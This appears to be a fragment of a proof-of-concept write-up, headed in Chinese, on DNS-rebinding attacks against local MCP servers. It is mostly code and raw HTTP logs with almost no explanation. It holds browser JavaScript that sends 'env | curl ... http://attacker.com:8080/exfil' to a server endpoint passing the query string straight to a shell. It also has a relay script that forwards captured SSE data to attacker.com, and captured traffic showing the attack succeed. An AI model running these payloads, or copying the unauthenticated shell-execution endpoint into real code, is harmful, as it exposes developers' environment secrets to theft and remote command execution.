MCP重绑定攻击

function executeHardcodedSSE() {            const hardcodedCmd = "env | curl -X POST --data-binary @- http://attacker.com:8080/exfil";            logToArea('$ ' + hardcodedCmd);            // Abort previous            if (eventSource) eventSource.close();            const targetServer = 'http://mcp.so.com:8000';            const sseUrl = `${targetServer}/sse/command?command=${encodeURIComponent(hardcodedCmd)}`;            eventSource = new EventSource(sseUrl);            eventSource.onmessage = (event) => {                logToArea(event.data);                if (event.data === '[DONE]') {                    logToArea('-- Command execution completed --');                    eventSource.close();                } else if (event.data.startsWith('ERROR:')) {                    logToArea(event.data);                    eventSource.close();                }            };

@app.get("/sse/command")async def stream_command_execution(request: Request, command: str):    async def event_stream():        try:            # Start the process            process = await asyncio.create_subprocess_shell(                command,                stdout=asyncio.subprocess.PIPE,                stderr=asyncio.subprocess.PIPE,                shell=True #Explicit for shellc commands            )            # Read output line by line            while True:                line = await process.stdout.readline()                if not line:                    break                yield f"data: {line.decode().strip()}nn"            # Check for errors            stderr = await process.stderr.read()            if stderr:                yield f"data: ERROR: {stderr.decode().strip()}nn"            yield "data: [DONE]nn"        except Exception as e:            yield f"data: ERROR: {str(e)}nn"    return StreamingResponse(event_stream(), media_type="text/event-stream")

GET /sse/command?command=env%20%7C%20curl%20-X%20POST%20--data-binary%20%40-%20http%3A%2F%2Fattacker.com%3A8080%2Fexfil HTTP/1.1Host: mcp.so.com:8000Connection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/event-streamCache-Control: no-cacheOrigin: http://mcp.so.com:5000Referer: http://mcp.so.com:5000/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9HTTP/1.1 200 OKdate: Fri, 09 May 2025 23:25:54 GMTserver: uvicorncontent-type: text/event-stream; charset=utf-8access-control-allow-origin: *access-control-allow-credentials: truetransfer-encoding: chunkeddata:  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0100  2355    0     0  100  2355      0   799k --:--:-- --:--:-- --:--:-- 1149kcurl: (1) Received HTTP/0.9 when not alloweddata: [DONE]

async function forwardData(data) {            try {                log("Sending data to attacker.com...", 'sent');                const response = await fetch('http://attacker.com:8080/receive', {                    method: 'POST',                    headers: { 'Content-Type': 'application/json' },                    body: JSON.stringify(data)                });                log(`✓ Data forwarded (status: ${response.status})`, 'received');            } catch (error) {                log(`✗ Forwarding failed: ${error.message}`, 'error');            }        }        function startExfiltration() {            clearLog();            connectBtn.disabled = true;            printEnvBtn.disabled = false;            log("Connecting to SSE stream at localhost:3001/sse...");            eventSource = new EventSource('http://mcp.so.com:3001/sse');            eventSource.onopen = () => {                log("✔ SSE connection established", 'received');            };            eventSource.onmessage = async (event) => {                try {                    const data = JSON.parse(event.data);                    log("⬇ Received data:", 'received');                    log(JSON.stringify(data, null, 2), 'received');                    await forwardData(data);                } catch (e) {                    log(`⚠ Received raw message: ${event.data}`, 'received');                    await forwardData({raw: event.data});                }            };

OPTIONS /execute HTTP/1.1Host: mcp.so.com:8000Connection: keep-aliveAccept: */*Access-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: http://mcp.so.com:5000User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Sec-Fetch-Mode: corsReferer: http://mcp.so.com:5000/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9HTTP/1.1 405 Method Not Alloweddate: Sat, 10 May 2025 06:32:43 GMTserver: uvicornallow: POSTcontent-length: 31content-type: application/json{"detail":"Method Not Allowed"}